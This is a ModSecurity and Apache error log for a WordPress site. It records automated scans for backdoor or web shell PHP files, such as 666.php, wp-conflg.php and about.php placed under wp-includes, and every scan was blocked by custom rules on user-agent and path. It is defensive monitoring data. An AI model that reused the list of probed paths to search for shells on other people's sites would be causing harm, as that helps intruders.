[Sun May 24 18:46:04.231735 2026] [:error] [pid 49744:tid 49769] [client 203.25.124.32:37889] [client 203.25.124.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/backup.php"] [unique_id "ahLW7DsE5kPdFpUbbHHSbwAAANc"]
[Sun May 24 18:46:05.529502 2026] [:error] [pid 49689:tid 49732] [client 203.25.124.41:64691] [client 203.25.124.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/backup.php"] [unique_id "ahLW7QaxiY3NxLUD97V3UgAAAI4"]
[Sun May 24 18:46:07.432410 2026] [:error] [pid 49688:tid 49706] [client 203.25.124.74:53513] [client 203.25.124.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/login.php"] [unique_id "ahLW72YoQ9V6a_4pBsixNQAAAE8"]
[Sun May 24 18:46:08.433944 2026] [:error] [pid 49744:tid 49755] [client 203.25.124.40:36273] [client 203.25.124.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/themes/test.php"] [unique_id "ahLW8DsE5kPdFpUbbHHScwAAAMk"]
[Sun May 24 18:46:09.825291 2026] [:error] [pid 49775:tid 49790] [client 203.25.124.74:35571] [client 203.25.124.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/system_core.php"] [unique_id "ahLW8YvZb8G6T8WpI1idPAAAAA0"]
[Sun May 24 18:46:10.233402 2026] [:error] [pid 4777:tid 4793] [client 203.25.124.2:20653] [client 203.25.124.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/maintenance.php"] [unique_id "ahLW8vtPctoQOm4w5pN5mgAAAcs"]
[Sun May 24 18:46:16.223188 2026] [:error] [pid 23497:tid 23513] [client 212.32.76.2:61031] [client 212.32.76.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "ahLW-CPlV47QcYwd2v_8RwAAAU0"]
[Sun May 24 18:46:17.337505 2026] [:error] [pid 4777:tid 4785] [client 212.32.76.14:47151] [client 212.32.76.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/nic.php"] [unique_id "ahLW-ftPctoQOm4w5pN5owAAAcM"]
[Sun May 24 18:46:18.639112 2026] [:error] [pid 2639:tid 2663] [client 203.25.124.213:47603] [client 203.25.124.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/Molla1.5.6/wp-content/users.php"] [unique_id "ahLW-kzQncQTd0Z0Oe9wSwAAARY"]
[Sun May 24 18:46:22.226811 2026] [:error] [pid 49688:tid 49713] [client 203.25.124.48:41871] [client 203.25.124.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/p-includes/admin.php"] [unique_id "ahLW_mYoQ9V6a_4pBsixPAAAAFY"]
[Sun May 24 18:46:23.232030 2026] [:error] [pid 4777:tid 4787] [client 203.25.124.65:57015] [client 203.25.124.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/mmenu.php"] [unique_id "ahLW__tPctoQOm4w5pN5pQAAAcU"]
[Sun May 24 18:46:24.141466 2026] [:error] [pid 23497:tid 23504] [client 203.25.124.58:22581] [client 203.25.124.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "ahLXACPlV47QcYwd2v_8VAAAAUQ"]
[Sun May 24 18:46:24.626863 2026] [:error] [pid 23497:tid 23517] [client 212.32.76.7:29093] [client 212.32.76.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/elementor/classwithtostring.php"] [unique_id "ahLXACPlV47QcYwd2v_8WAAAAVE"]
[Sun May 24 18:46:25.938930 2026] [:error] [pid 4777:tid 4795] [client 203.25.124.68:50613] [client 203.25.124.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/elementor/google-fonts/fonts/"] [unique_id "ahLXAftPctoQOm4w5pN5pwAAAc0"]
[Sun May 24 18:46:27.529567 2026] [:error] [pid 23497:tid 23509] [client 212.32.76.5:43647] [client 212.32.76.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contact-form-7/base-theme.php"] [unique_id "ahLXAyPlV47QcYwd2v_8YQAAAUk"]
[Sun May 24 18:46:28.729906 2026] [:error] [pid 49775:tid 49783] [client 203.25.124.52:63753] [client 203.25.124.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/heading/"] [unique_id "ahLXBIvZb8G6T8WpI1idSgAAAAY"]
[Sun May 24 18:46:29.736358 2026] [:error] [pid 49688:tid 49702] [client 203.25.124.64:59845] [client 203.25.124.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/geck.php"] [unique_id "ahLXBWYoQ9V6a_4pBsixQQAAAEs"]
[Sun May 24 18:46:30.630398 2026] [:error] [pid 49775:tid 49795] [client 212.32.76.5:27543] [client 212.32.76.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wf-logs.php"] [unique_id "ahLXBovZb8G6T8WpI1idSwAAABI"]
[Sun May 24 18:46:31.632535 2026] [:error] [pid 23497:tid 23513] [client 212.32.76.7:53815] [client 212.32.76.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/wp-conflg.php"] [unique_id "ahLXByPlV47QcYwd2v_8awAAAU0"]
[Sun May 24 18:46:32.631942 2026] [:error] [pid 4777:tid 4799] [client 203.25.124.51:44959] [client 203.25.124.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/home.php"] [unique_id "ahLXCPtPctoQOm4w5pN5rgAAAdE"]
[Sun May 24 18:46:33.641211 2026] [:error] [pid 49775:tid 49777] [client 203.25.124.73:38057] [client 203.25.124.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/cgi-bin/cgi-bin/cgi-bin/upload.php"] [unique_id "ahLXCYvZb8G6T8WpI1idTQAAAAA"]
[Sun May 24 18:46:34.927822 2026] [:error] [pid 23497:tid 23504] [client 212.32.76.7:28999] [client 212.32.76.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/cgi-bin/cgi-bin/panel.php"] [unique_id "ahLXCiPlV47QcYwd2v_8cwAAAUQ"]
[Sun May 24 18:46:42.230168 2026] [:error] [pid 2639:tid 2655] [client 212.32.76.8:23925] [client 212.32.76.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/comment-date/wp-login.php"] [unique_id "ahLXEkzQncQTd0Z0Oe9wawAAAQ4"]
[Sun May 24 18:46:44.231992 2026] [:error] [pid 4777:tid 4789] [client 203.25.124.41:53533] [client 203.25.124.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/templates/wp-login.php"] [unique_id "ahLXFPtPctoQOm4w5pN5vwAAAcc"]
[Sun May 24 18:46:46.025958 2026] [:error] [pid 49689:tid 49731] [client 203.25.124.65:26799] [client 203.25.124.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "ahLXFgaxiY3NxLUD97V3bAAAAI0"]
[Sun May 24 18:46:48.132785 2026] [:error] [pid 49775:tid 49789] [client 203.25.124.42:57525] [client 203.25.124.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/wp-login.php"] [unique_id "ahLXGIvZb8G6T8WpI1idUQAAAAw"]
[Sun May 24 18:46:54.329473 2026] [:error] [pid 49744:tid 49749] [client 203.25.124.2:33119] [client 203.25.124.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/rss/wp-login.php"] [unique_id "ahLXHjsE5kPdFpUbbHHSiQAAAMM"]
[Sun May 24 18:46:55.524094 2026] [:error] [pid 49688:tid 49692] [client 203.25.124.54:60843] [client 203.25.124.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/script-modules/block-library/search/"] [unique_id "ahLXH2YoQ9V6a_4pBsixTwAAAEE"]
[Sun May 24 18:46:56.528735 2026] [:error] [pid 49688:tid 49715] [client 203.25.124.39:24543] [client 203.25.124.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/assets/"] [unique_id "ahLXIGYoQ9V6a_4pBsixUgAAAFg"]
[Sun May 24 18:46:57.636898 2026] [:error] [pid 49775:tid 49783] [client 212.32.76.6:47977] [client 212.32.76.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/"] [unique_id "ahLXIYvZb8G6T8WpI1idXwAAAAY"]
[Sun May 24 18:46:59.025665 2026] [:error] [pid 41708:tid 41716] [client 203.25.124.69:57889] [client 203.25.124.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/assets/about.php"] [unique_id "ahLXI_4tQzoTxpuHBF7ODQAAAYY"]
[Sun May 24 18:47:01.029732 2026] [:error] [pid 4777:tid 4796] [client 203.25.124.47:56515] [client 203.25.124.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/query-title/about.php"] [unique_id "ahLXJftPctoQOm4w5pN5yQAAAc4"]
[Sun May 24 18:47:02.130460 2026] [:error] [pid 2639:tid 2663] [client 203.25.124.66:53649] [client 203.25.124.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/src/Exception/wp-login.php"] [unique_id "ahLXJkzQncQTd0Z0Oe9wjwAAARY"]
[Sun May 24 18:47:03.427840 2026] [:error] [pid 4777:tid 4786] [client 203.25.124.69:43785] [client 203.25.124.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/rss/about.php"] [unique_id "ahLXJ_tPctoQOm4w5pN5ywAAAcQ"]
[Sun May 24 18:47:09.527835 2026] [:error] [pid 4777:tid 4803] [client 212.32.76.12:52125] [client 212.32.76.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/templates/about.php"] [unique_id "ahLXLftPctoQOm4w5pN51QAAAdU"]
[Sun May 24 18:47:10.738310 2026] [:error] [pid 4777:tid 4787] [client 212.32.76.14:20717] [client 212.32.76.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/query-title/"] [unique_id "ahLXLvtPctoQOm4w5pN51gAAAcU"]
[Sun May 24 18:47:11.923876 2026] [:error] [pid 49688:tid 49714] [client 203.25.124.47:64225] [client 203.25.124.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/wp-login.php"] [unique_id "ahLXL2YoQ9V6a_4pBsixZAAAAFc"]
[Sun May 24 18:47:13.130415 2026] [:error] [pid 49744:tid 49754] [client 203.25.124.40:37795] [client 203.25.124.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/rss/"] [unique_id "ahLXMTsE5kPdFpUbbHHSjAAAAMg"]
[Sun May 24 18:47:19.230771 2026] [:error] [pid 4777:tid 4790] [client 203.25.124.48:62115] [client 203.25.124.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/pullquote/wp-login.php"] [unique_id "ahLXN_tPctoQOm4w5pN54gAAAcg"]
[Sun May 24 18:47:28.432218 2026] [:error] [pid 49689:tid 49738] [client 203.25.124.37:34791] [client 203.25.124.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/about.php"] [unique_id "ahLXQAaxiY3NxLUD97V3cgAAAJQ"]
[Sun May 24 18:47:34.426333 2026] [:error] [pid 49689:tid 49731] [client 203.25.124.67:33193] [client 203.25.124.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/comment-date/about.php"] [unique_id "ahLXRgaxiY3NxLUD97V3dgAAAI0"]
[Sun May 24 18:47:35.532189 2026] [:error] [pid 41708:tid 41732] [client 212.32.76.12:63229] [client 212.32.76.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/library/SimplePie/Parse/wp-login.php"] [unique_id "ahLXR_4tQzoTxpuHBF7OLwAAAZY"]
[Sun May 24 18:47:41.629121 2026] [:error] [pid 49744:tid 49755] [client 203.25.124.68:50025] [client 203.25.124.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/preformatted/about.php"] [unique_id "ahLXTTsE5kPdFpUbbHHSnwAAAMk"]
[Sun May 24 18:47:47.629689 2026] [:error] [pid 23497:tid 23500] [client 203.25.124.36:42561] [client 203.25.124.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/query-title/istsgd.php"] [unique_id "ahLXUyPlV47QcYwd2v_80QAAAUA"]
[Sun May 24 18:47:48.628825 2026] [:error] [pid 23497:tid 23524] [client 203.25.124.39:25301] [client 203.25.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/code/about.php"] [unique_id "ahLXVCPlV47QcYwd2v_80wAAAVg"]
[Sun May 24 18:47:49.529788 2026] [:error] [pid 23497:tid 23515] [client 203.25.124.65:35653] [client 203.25.124.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/social-links/wp-login.php"] [unique_id "ahLXVSPlV47QcYwd2v_81gAAAU8"]
[Sun May 24 18:47:55.428260 2026] [:error] [pid 2639:tid 2650] [client 203.25.124.57:37937] [client 203.25.124.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/preformatted/wp-login.php"] [unique_id "ahLXW0zQncQTd0Z0Oe9wqgAAAQk"]
[Sun May 24 18:47:56.525948 2026] [:error] [pid 41708:tid 41719] [client 203.25.124.72:36665] [client 203.25.124.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/templates/"] [unique_id "ahLXXP4tQzoTxpuHBF7OQAAAAYk"]
[Sun May 24 18:47:58.443285 2026] [:error] [pid 41708:tid 41729] [client 203.25.124.213:20029] [client 203.25.124.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/social-links/"] [unique_id "ahLXXv4tQzoTxpuHBF7ORAAAAZM"]
[Sun May 24 18:47:59.930755 2026] [:error] [pid 4777:tid 4797] [client 212.32.76.13:34009] [client 212.32.76.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/query-pagination-previous/"] [unique_id "ahLXX_tPctoQOm4w5pN6DAAAAc8"]
[Sun May 24 18:48:01.227430 2026] [:error] [pid 49744:tid 49751] [client 203.25.124.37:34963] [client 203.25.124.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/library/SimplePie/Parse/"] [unique_id "ahLXYTsE5kPdFpUbbHHSrQAAAMU"]
[Sun May 24 18:48:02.328386 2026] [:error] [pid 41708:tid 41728] [client 203.25.124.66:53619] [client 203.25.124.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/social-links/about.php"] [unique_id "ahLXYv4tQzoTxpuHBF7OTAAAAZI"]
[Sun May 24 18:48:03.428829 2026] [:error] [pid 4777:tid 4806] [client 203.25.124.65:27081] [client 203.25.124.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/script-modules/block-library/search/about.php"] [unique_id "ahLXY_tPctoQOm4w5pN6DQAAAdg"]
